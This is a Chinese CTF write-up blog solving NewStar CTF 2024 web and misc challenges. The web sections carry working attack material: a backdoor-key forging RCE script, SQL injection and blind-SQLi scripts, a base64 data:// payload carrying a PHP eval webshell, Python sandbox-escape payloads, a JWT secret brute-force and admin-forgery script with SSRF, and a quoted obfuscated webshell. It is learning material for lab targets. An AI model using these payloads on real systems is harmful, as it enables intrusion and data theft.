0%

NewStar2024-WEB-MISC

前言

第一接触ctf就是24年的newstar,当时完全不知道这是啥,不知不觉过去一年了再次回到梦开始的地方。

week1

web

PangBai 过家家(1)

第一关提示很头有关,就看一下消息头,发现这个路径

image-20260128190601584

进入下一关的提示是

1
向 PangBai 询问(Query)一下(ask=miao)吧 ~

就是get传参,?ask=miao,进入下一关

image-20260128192214637

正确的方法,那就改为post访问

1
PangBai 回应了呢!可只有 Papa 的话语才能让她感到安心。 代理人(Agent),这个委托你就接了吧!

很明显改ua就行了,把ua改为Papa。这里注意ua格式产品标识+版本号

image-20260128192454530

说就是say,post传参

say=hello

image-20260128192733462

注意要url编码

image-20260128192712049

虽然回显302,但是放包,然后再走一遍流程

image-20260128193100153

然后用PATCH方法发包

image-20260128195754873

依旧302,再次放包

image-20260128200344025

伪造xxf头

X-Forwarded-For: 127.0.0.1

image-20260128200525386

jwt伪造,密钥也给了

image-20260128200642416

那就下一关就行了,改为7,输入之后就回到开头了。看官方wp才知道要改为0,出题人有心了👍👍👍

1
修改 level 为 0 而不是 7,是本题的一个彩蛋。本关卡不断提示「一方通行」,而「一方通行」作为动画番剧《魔法禁书目录》《某科学的超电磁炮》中的人物,是能够稳定晋升为 Level 6 的强者,却被 Level 0 的「上条当麻」多次击败。但即使不了解该内容,也可以通过多次尝试找到 Level 0,做安全需要反常人的思维,这应当作为一种习惯。

伴随着bgm的响起,flag出现了

image-20260128202652188

headach3

直接看请求头

image-20260128202854300

会赢吗

这是我接触ctf写的第一道web。也算是故地重游了

第一关看源码

image-20260128203207382

1
<!-- flag第一部分:ZmxhZ3tXQTB3,开始你的新学期吧!:/4cqu1siti0n -->

第二关关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script>
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}

// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
</script>

调用revealFlag函数是4cqu1siti0n,

revealFlag(“4cqu1siti0n”);

image-20260128203804874

1
2
3
恭喜你!你获得了第二部分的 flag: IV95NF9yM2Fs
……
时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/s34l

第三关,把已封印改为解封

image-20260128204053451

1
第三部分Flag: MXlfR3I0c1B, 你解救了五条悟!下一关: /Ap3x

关键代码

1
2
3
4
5
6
<noscript>
<form class="s" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">无量空处!!</button>
</form>
</noscript>

禁用js刷新页面就会有无量空处,点击就会得到flag

1
{"flag":"fSkpKcyF9","nextLevel":null}

拼接一下

ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9

base64解码

flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

智械危机

先看robots.txt,然后都有一个backd0or.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function execute_cmd($cmd) {
system($cmd);
}

function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>

就是两个参数,一个key,一个cmd,cmd用来rce,key用来校验,校验逻辑就是base64->反转->md5,之后与cmd的base64比较,相等就执行rce,否则退出程序。那直接根据我们要执行的命令逆向逆向推导key就行了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64
import hashlib
import requests

def construct_params(target_cmd):
"""根据目标命令,构造合法的 cmd 和 key 参数"""
# 步骤1:构造 cmd(目标命令的 base64 编码)
cmd = base64.b64encode(target_cmd.encode('utf-8')).decode('utf-8')

# 步骤2:构造 key
# 2.1 反转 cmd
reversed_cmd = cmd[::-1]
# 2.2 对反转后的 cmd 进行 md5 哈希
md5_reversed_cmd = hashlib.md5(reversed_cmd.encode('utf-8')).hexdigest()
# 2.3 对 md5 结果进行 base64 编码,得到 key
key = base64.b64encode(md5_reversed_cmd.encode('utf-8')).decode('utf-8')

return cmd, key

def send_exploit(url, target_cmd):
"""发送 POST 请求,执行目标命令"""
# 构造参数
cmd, key = construct_params(target_cmd)
# 构造 POST 数据
data = {
'cmd': cmd,
'key': key
}
try:
# 发送请求
response = requests.post(url, data=data, timeout=10)
print(f"✅ 命令执行结果:\n{response.text}")
except Exception as e:
print(f"❌ 请求失败:{str(e)}")

if __name__ == "__main__":
# 配置信息
target_url = "" # 替换为你的目标 URL
target_command = "ls /" # 替换为你要执行的命令(比如 "ls -l"、"dir" 等)

# 执行利用
send_exploit(target_url, target_command)

image-20260128205704865

flag{8a5c3227-c53f-1836-17d9-787e512f0adc}

谢谢皮蛋

看源码有个hint.php,看一个文件内容

image-20260128210016144

我们的注入点是id,我们后面利用union联合查询获得flag,同时查询的时候将paylaod进行base64编码

image-20260128210454229

接下来就是常规查询

image-20260128211252782

image-20260128211258001

image-20260128211200979

misc

Labyrinth

lsb隐写

image-20260128211858164

flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

WhereIsFlag

起一个容器

image-20260128212038087

主打一个听劝,连上后就是查找flag,看一下目录没有flag,那就看环境变量

image-20260128213304106

decompress(公开赛道)

压缩包嵌套,随波逐流接一下得到一个加密压缩包,还有提示

1
^([a-z]){3}\d[a-z]$

这个表达式的意思是3 个小写字母 + 1 个数字 + 1 个小写字母,爆破,这个爆破的时间太长了,看了别人的wp

image-20260128214306434

xtr4m

image-20260128214358008

flag{U_R_th3_ma5ter_0f_dec0mpress}

pleasingMusic

题目说明正反听都好听,那就把那一段音频倒放

image-20260129155937522

然后一一对照是. –.. ..–.- – — .-. … . ..–.- -.-. — -.. .

image-20260129160303116

flag{EZ_MORSE_CODE}

兑换码

宽高隐写随波逐流一把梭

image-20260129160556723

flag{La_vaguelette}

week2

web

PangBai 过家家(2)

第一关考察git泄露,使用githacker,先查看提交历史

image-20260129163129993

发现现了隐藏的stash 记录普通的 git log 不会显示 stash,而这里出现了标注为 Backdoor, untracked files(未跟踪文件)的 87bd48c,这大概率存放着完整的后门 /flag 文件

image-20260129163221379

发现后门文件BacKd0or.vubjeVv3GZwDWHK3.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

# Functions to handle HTML output
function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}

function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}

# Backdoor
if ($_POST['papa'] !== 'doKcdnEOANVB') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}
?>

这里主要分析backdoor就行了,post传参papa=doKcdnEOANVB,然后NewStar_CTF.2024的类型和值都不等于’Welcome’,然后匹配即从头到尾只能是Welcome,无其他字符。加一个换行符就行

?NewStar_CTF.2024=Welcome%0a,这里还涉及非法传参的问题。

当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

?NewStar[CTF.2024=Welcome%0a

然后就是

1
call_user_func($_POST['func'], $_POST['args']);

call_user_func()函数,以一个参数为任意 PHP 函数,第二个参数为执行的任意函数参数

最后的payload

get:?NewStar[CTF.2024=Welcome%0a

post:papa=doKcdnEOANVB&func=system&args=ls%09/

image-20260129165404273

查看环境变量

image-20260129165454447

你能在一秒内打出八句英文吗

image-20260129165935925

在这个界面做了很多限制,不能粘贴,f12,看源码等等,但是可以在url前加上view-source:,就可以看到源码。exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
from bs4 import BeautifulSoup
import re
import time

# 替换成你实际的题目URL(从你环境变量或平台给的地址)
# 例如:http://eci-xxxx.cloudeci1.ichunqiu.com/
BASE_URL = "" # ← 必须改这里!!!

session = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36",
"Referer": BASE_URL
}

# Step 1: 先访问 /start 获取本次要打的文本
start_url = BASE_URL.rstrip('/') + "/start"
print(f"访问: {start_url}")

r = session.get(start_url, headers=headers)
if r.status_code != 200:
print("访问 /start 失败", r.status_code)
exit()

# 提取 <p id="text">里面的内容(就是那八句英文)
soup = BeautifulSoup(r.text, 'html.parser')
text_elem = soup.find('p', id='text')

if not text_elem:
print("没找到 id='text' 的p标签,页面可能变了")
print(r.text[:800]) # 打印部分源码看情况
exit()

target_text = text_elem.get_text(strip=False).strip() # 保留原始空格和换行,但通常是一行
print("\n本次需要输入的文本(长度 {}):".format(len(target_text)))
print(target_text)

# Step 2: 立刻提交(越快越好,requests本身就够快)
submit_url = BASE_URL.rstrip('/') + "/submit"
data = {"user_input": target_text}

print(f"\n提交到: {submit_url}")
resp = session.post(submit_url, data=data, headers=headers, timeout=5)

print("\n响应状态码:", resp.status_code)
print("响应内容预览:")
print(resp.text[:1200]) # 打印前1200字符

# 尝试提取flag(常见出现在响应里、alert里或单独一行)
flag_match = re.search(r'flag\{[^}]+\}', resp.text, re.IGNORECASE)
if flag_match:
print("\n" + "="*60)
print("找到 FLAG:", flag_match.group(0))
print("="*60)
elif "flag" in resp.text.lower():
print("\n响应里有 'flag' 关键字,但没匹配到标准格式,再检查完整响应")
else:
print("\n本次没出flag,可能需要多跑几次(因为有时间校验随机失败),或者看响应是否有提示")

image-20260129171454846

复读机

经过测试是ssti

image-20260129171802987

过滤了class

image-20260129172119067

但是无伤大雅

image-20260129172350473

谢谢皮蛋 plus

经过测试这一题是双引号闭合,过滤了and,还有空格,这个空格用/**/绕过,其他的好像不行,and用&&绕过,注释符用#依旧union联合注入

image-20260129184447783

1
0"/**/union/**/selcet/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

image-20260129184745861

1
0"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='Fl4g'#

image-20260129184948227

1
0"/**/union/**/select/**/1,group_concat(value)/**/from/**/Fl4g#

image-20260129185108792

遗失的拉链

扫目录有个www.zip,关键代码在pizwww.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

可以使用数组绕过md5()函数还sha1()函数,然后tac替代cat,通配符匹配flag

image-20260129190659984

misc

Herta’s Study

这是上传了恶意文件,然后进行rce,先看horse.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php

$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(
base64_decode('J'.str_rot13('T').'5z'),
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
);
echo $bbb($payload);

?>

这个让ai解密一下就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$payload = $_GET['payload'];
$payload = shell_exec($payload); // 执行系统命令

// 创建匿名函数
$bbb = create_function(
'$ns', // 函数参数
'$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
if($i%2==1){
$ns=str_rot13($ns[$i]);
}
}
return $ns;'
);

echo $bbb($payload); // 对命令输出进行编码后输出
?>

逆向脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import base64

def decode_response(encoded_output):
"""
解码Webshell的输出
编码过程:Base64编码 -> 对奇数位置字符进行ROT13
"""
# 先进行逆向ROT13(对奇数位置字符)
decoded_chars = []
for i, char in enumerate(encoded_output):
if i % 2 == 1: # 奇数位置
# ROT13解码
if 'a' <= char <= 'z':
decoded_char = chr((ord(char) - ord('a') - 13) % 26 + ord('a'))
elif 'A' <= char <= 'Z':
decoded_char = chr((ord(char) - ord('A') - 13) % 26 + ord('A'))
else:
decoded_char = char
else: # 偶数位置保持不变
decoded_char = char
decoded_chars.append(decoded_char)

# 得到Base64字符串
base64_str = ''.join(decoded_chars)

# Base64解码
try:
original = base64.b64decode(base64_str).decode('utf-8', errors='ignore')
return original
except:
# 如果解码失败,尝试其他编码
try:
original = base64.b64decode(base64_str).decode('latin-1')
return original
except:
return f"解码失败: {base64_str}"

# 测试解码
encoded_outputs = [
"d2hiYJ1cOjo=", # whoami
"MQclMDo=", # echo 0721
"ZzFeZKt0aTlmX2lmX2Zua2VsZzFfZ30X", # echo fake flag
"ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==" # type f.txt
]

for encoded in encoded_outputs:
print(f"编码输出: {encoded}")
decoded = decode_response(encoded)
print(f"解码结果: {decoded}")
print("-" * 50)

image-20260129192850063

flag{sH3_i4_S0_6eAut1fuL.}

wireshark_checkin

过滤http协议一眼及看到flag.txt

image-20260129193121552

wireshark_secret

导出图片即可

secret

flag{you_are_gooddddd}

你也玩原神吗

随波逐流gif分帧,得到图片

36

俺不是原神的兵

img

拆解发现其中正中央是经典的乱数假文:
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 但是末尾出现了四个额外字符quis,左上角是flag is a sentence,左下角是do you know fence,考虑栅栏加密,右上角是iiaaelgtsfkfa,解密得到itisafakeflag,右下角是mesioaabgnhnsggogmyeiade,解密得到maybegenshinisagogdoagem,转换一下得到maybegenshinisagoodgame

flag{maybegenshinisagoodgame}

字里行间的秘密

我看见了零宽字符

image-20260129194847346

image-20260129195022012

it_is_k3y解密后修改字体颜色就行

image-20260129195128485

用溯流仪见证伏特台风

看一下新闻,题目要找的就是

image-20260129195854071

这个Domain框里的数据,直接搜相关内容也就是这个封面the risk of dark power,找到pdf,视频又说文件内容已经被修改过了

用网站时光机找到24年7月的pdf

image-20260129200914671

image-20260129201114653

powerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion,md5加密一下

flag{6c3ea51b6f9d4f5e}

热心助人的小明同学

内存取证有一个插件lsadump 查看最后登录的用户的密码这里使用lovelymem

image-20260129203119978

密码就是ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh,

flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

week3

web

Include Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf(){
if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
die("兄弟你别包");
};
}
if(isset($_GET['phpinfo'])){
phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>

文件包含有waf, 先传参数?iknow=1,否则隔5秒就跳转一下,然后再看phpinfo的信息,主要关注

image-20260131204049828

这两个配置的都是on,就可以用data协议+base64绕过,payload

?iknow=1&phpinfo=1&me=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4

有等号直接删除就行,有过滤不影响最后的结果

image-20260131204454762

blindsql1

题目提示无回显,尝试过后发现有waf,过滤了空格,union,/,等等,那就用布尔盲注,有些关键字可以用大小写绕过

1
2
Alice'%09and%09Ord(mid((sElect%09group_concat(table_name)%09FRom%09infOrmation_schema.tables%09Where%09table_schema%09like%09database()),1,1))>96%23 

这里参考大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

base_url = "http://127.0.0.1:57060/"

result = ""
i = 0

while True:
i += 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2 # 使用整数除法

# 根据需要切换payload
#payload = "sElect%09group_concat(table_name)%09FRom%09infOrmation_schema.tables%09Where%09table_schema%09like%09database()"#courses,secrets,students
#payload = "sElect%09group_concat(column_name)%09FRom%09infOrmation_schema.columns%09Where%09table_name%09like%09'secrets'"#id,secret_key,secret_value
payload = "sElect%09group_concat(id,secret_key,secret_value)%09from%09`secrets`" #这里here_is_flag要用反引号才行,单引号不行,反引号用于标识数据库、表、列等对象的名称。

# 构造正确的URL字符串(注意去掉了末尾逗号)
current_url = f"{base_url}?student_name=Alice'%09and%09Ord(mid(({payload}),{i},1))>{mid}%23"

r = requests.get(url=current_url)
if 'Alice' in r.text:
head = mid + 1
else:
tail = mid


if head != 32:
result += chr(head)
print(f"[+] 当前结果: {result}")
else:
print(f"[+] 当前结果: {result}")

臭皮的计算机

看主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
  
<!--
from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def waf(s):
token = True
for i in s:
if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
token = False
break
return token

@app.route("/")
def index():
return render_template("index.html")

@app.route("/calc", methods=['POST', 'GET'])
def calc():

if request.method == 'POST':
num = request.form.get("num")
script = f'''import os
print(eval("{num}"))
'''
print(script)
if waf(num):
try:
result_output = ''
with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
temp_script.write(script)
temp_script_path = temp_script.name

result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
os.remove(temp_script_path)

result_output = result.stdout if result.returncode == 0 else result.stderr
except Exception as e:

result_output = str(e)
return render_template("calc.html", result=result_output)
else:
return render_template("calc.html", result="臭皮!你想干什么!!")
return render_template("calc.html", result='试试呗')

if __name__ == "__main__":
app.run(host='0.0.0.0', port=30002)
-->

代码的核心就是有waf的rce,过滤了大小字母,其实就是无字母rce,只不过是在python环境中,payload

1
__import__('os').popen('cat /flag').read()

这里可以八进制绕过,payload

1
\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\47\51\56\162\145\141\144\50\51

image-20260204164346793

看官方题解也可以用全角字符绕过

_import_(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

注意+要转义,不然会别识别为空格

臭皮踩踩背

首先nc连接上容器

1
2
3
4
5
6
7
8
9
10
你被豌豆关在一个监狱里,,,,,,
豌豆百密一疏,不小心遗漏了一些东西,,,
def ev4l(*args):
print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
能不能逃出去给豌豆踩踩背就看你自己了,臭皮,,
>

这里带eval的第一个参数就是我们输入的代码,后面的内容一个字典,指定在接下来要执行的代码的上下文中,globals 是怎样的。

globals存放的是当前模块的自定义全局变量 / 函数 / 类等等。

__builtins__存放的是Python 自带的「内置函数 / 常量 / 异常」(如 print()eval()None)。可以在本地看一下

image-20260204181152406

在题目中__builtins__被设置为None,那上图中

的所有函数都没有了,没有办法进行下一步了。在提示中说到,Python 中「一切皆对象」

我们可以利用python的函数对象的 __globals__ 属性来逃逸。题目中还有一个函数f,f是在题目的源码环境中,而不是在沙箱环境中,

image-20260204182822836

那接下来就可以进行命令执行了,payload

1
f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read()

或者

1
f.__globals__['__builtins__'].open('/flag').read()

同时这里官方还解释了为什么f.__globals__[__builtins__].eval('print(1)')会报错

image-20260204184532704

我们在 inp 中的 eval 并没有指定 globals,因此 Python 会将当前调用处的上下文的 globals 作为第二个参数,即使设定了第二个参数但没有指定 __builtins__,Python 也会自动注入当前上下文中的 builtins(也就是未指定则继承)。但当前上下文中的 builtinsNone,因此会报错。解决办法就是在后面指定一下就行。payload

1
f.__globals__['__builtins__'] .eval('open("/flag").read()', { "__builtins__": f.__globals__['__builtins__'] })

这「照片」是你吗

这里ctrl+u发现没反应,就用其他方式看源码

image-20260204192039692

能获取静态文件,这里可以尝试目录穿越,查看发现是flask框架,尝试读取app.py

image-20260204192233893

注意要在发包工具上直接在浏览器中访问,../会被解析,读取后看关键代码

1
2
3
4
5
6
7
8
9
10
@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text

这里首先会校验token,然后通过get传参获得参数,从而进行ssrf,那么我们就要获得管理员的token,这里给

1
2
3
4
5
users = {
'admin': admin_pass,
'amiya': "114514"
}

给了一组账号密码,amiya/114514,然后是token的加密密钥是6位数字,我们可以用这个账号登入进入获得token,然后6位数字爆破出secret_key,伪造admin的tokne

image-20260204194510208

同时在代码中

1
2

from flag import get_random_number_string

也就是有flag,py这个文件,伪造token后就可以ssrf,payload

1
2

/execute?api_address=http://127.0.0.1:5001/fl4g

整个流程是登录 amiya/114514 获取 Token → 爆破 6 位 JWT 密钥 → 伪造 admin Token → 访问 /execute 获取 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import requests
import jwt
import time
from jwt.exceptions import InvalidSignatureError, ExpiredSignatureError, DecodeError

# ---------------------- 配置项(根据题目修改,当前已匹配你的需求)----------------------
TARGET_HOST = "http://127.0.0.1:6232"
LOGIN_CREDENTIALS = {
"username": "amiya",
"password": "114514"
}
FLAG_API_ADDRESS = "http://127.0.0.1:5001/fl4g"
JWT_ALGORITHM = "HS256"
SECRET_KEY_DIGITS = 6 # 6 位纯数字密钥

# ---------------------- 步骤 1:自动登录,获取 amiya 的 JWT Token ----------------------
def get_amiya_token():
"""
发送登录请求,从响应 Cookie 中提取 amiya 的 JWT Token
"""
login_url = f"{TARGET_HOST}/login"
try:
# 发送 POST 登录请求
response = requests.post(
login_url,
data=LOGIN_CREDENTIALS,
allow_redirects=False # 不自动重定向,保留响应头中的 Set-Cookie
)
response.raise_for_status() # 捕获 HTTP 错误状态码

# 从响应 Cookie 中提取 token
if "token" in response.cookies:
amiya_token = response.cookies.get("token")
print(f"[+] 登录成功!获取到 amiya 的 Token:\n{amiya_token[:20]}...(省略后续内容)\n")
return amiya_token
else:
print("[!] 错误:登录响应中未找到 Token Cookie!")
return None

except requests.exceptions.RequestException as e:
print(f"[!] 登录请求失败:{str(e)}")
return None

# ---------------------- 步骤 2:自动爆破 6 位数字 JWT 密钥 ----------------------
def brute_force_jwt_secret(token):
"""
爆破 JWT HS256 算法的 6 位数字密钥
"""
# 前置校验 Token 格式和是否过期
try:
jwt.decode(token, options={"verify_signature": False})
except ExpiredSignatureError:
print("[!] 错误:JWT Token 已过期,请重新运行脚本(自动重新登录)!")
return None
except DecodeError:
print("[!] 错误:JWT Token 格式无效!")
return None

# 开始穷举 6 位数字密钥(000000 ~ 999999)
print(f"[*] 开始爆破 {SECRET_KEY_DIGITS} 位纯数字密钥...")
print(f"[*] 穷举范围:000000 ~ 999999,耐心等待(约 1-5 分钟)...\n")

for num in range(0, 10 ** SECRET_KEY_DIGITS):
# 格式化数字为 6 位字符串(补前导 0)
secret_key = str(num).zfill(SECRET_KEY_DIGITS)

# 每爆破 20000 个,打印一次进度
if num % 20000 == 0 and num != 0:
progress = (num / 1000000) * 100
print(f"[*] 进度:{num} / 1000000({progress:.2f}%)")

try:
# 校验签名和过期时间
jwt.decode(
token,
secret_key,
algorithms=[JWT_ALGORITHM],
options={"verify_exp": True}
)
# 爆破成功,返回密钥
print(f"\n[+] 爆破成功!找到正确 secret_key:{secret_key}")
return secret_key

except InvalidSignatureError:
continue

# 遍历完所有可能,未找到密钥
print("\n[-] 爆破失败:未找到有效的 6 位数字密钥!")
return None

# ---------------------- 步骤 3:自动伪造 admin 的 JWT Token ----------------------
def forge_admin_token(original_token, secret_key):
"""
基于原始 Token 和正确密钥,伪造 admin 身份的 JWT Token
"""
try:
# 1. 解码原始 Token(不校验签名,提取 payload 结构)
decoded_header = jwt.get_unverified_header(original_token)
decoded_payload = jwt.decode(original_token, options={"verify_signature": False})

# 2. 修改 payload 为 admin 身份,更新过期时间(当前时间 + 600 秒)
decoded_payload["user"] = "admin"
decoded_payload["exp"] = int(time.time()) + 600 # 延长有效期,避免过期

# 3. 重新编码,生成伪造 Token
admin_token = jwt.encode(
decoded_payload,
secret_key,
algorithm=JWT_ALGORITHM,
headers=decoded_header
)

print(f"[+] 伪造 admin Token 成功:\n{admin_token[:20]}...(省略后续内容)\n")
return admin_token

except Exception as e:
print(f"[!] 伪造 Token 失败:{str(e)}")
return None

# ---------------------- 步骤 4:自动访问 /execute,获取 flag ----------------------
def get_flag(admin_token):
"""
携带伪造的 admin Token,访问 /execute 获取 flag
"""
execute_url = f"{TARGET_HOST}/execute"
params = {
"api_address": FLAG_API_ADDRESS
}
cookies = {
"token": admin_token
}

try:
# 发送 GET 请求,携带伪造 Token Cookie
response = requests.get(
execute_url,
params=params,
cookies=cookies
)
response.raise_for_status()

# 打印 flag 结果
print(f"[+] 成功获取 Flag!内容如下:")
print("-" * 50)
print(response.text)
print("-" * 50)
return response.text

except requests.exceptions.RequestException as e:
print(f"[!] 访问 /execute 失败:{str(e)}")
return None

# ---------------------- 主函数:串联全流程 ----------------------
if __name__ == "__main__":
print("=" * 60)
print(" JWT 自动化爆破 + Flag 获取脚本")
print("=" * 60 + "\n")

# 步骤 1:获取 amiya Token
amiya_token = get_amiya_token()
if not amiya_token:
exit(1)

# 步骤 2:爆破 JWT 密钥
secret_key = brute_force_jwt_secret(amiya_token)
if not secret_key:
exit(1)

# 步骤 3:伪造 admin Token
admin_token = forge_admin_token(amiya_token, secret_key)
if not admin_token:
exit(1)

# 步骤 4:获取 Flag
get_flag(admin_token)

print("\n[+] 全流程执行完毕!")

image-20260204201010340

misc

AmazingGame

不太了解apk文件分析,具体参考官方wp

OSINT-MASTER

查看图片属性

image-20260130203928557

图片拍摄日期是2024/8/18 14:30,然后看航班号B-2418,搜一下当天的航班

航班号

找到航班号 MU5156航班管家搜一下航线

航班轨迹

差不多到济宁

flag{MU5156_济宁市}

BGM 坏了吗?

首先听这个附件,在最后几秒中有明显的杂音,然后使用audacity分析附件

image-20260131194825200

同时题目中还说到拨号音,考察的是dtmf拨号音识别,关闭上面那个声道。然后导出wav文件,这里试了几个工具

image-20260131195515235

image-20260131200647466

image-20260131200700365

还是官方给的工具好用

flag{2024093020241103}

ez_jail

题目要输出Hello Word,原本的写法是

1
void user_code(){std::cout<<"Hello, World!";}

但是{}被过滤了,使用<%%>绕过

1
void user_code()<%std::cout<<"Hello, World!";%>

base64编码传入就行了

image-20260131201818700

week4

misc

Alt

最近刚配好了mcp,正好试验一下只能说ai还是太超模了

image-20260205112357719

flag{键盘流量_with_alt_和窗户_15_5o0OO0o_酷}

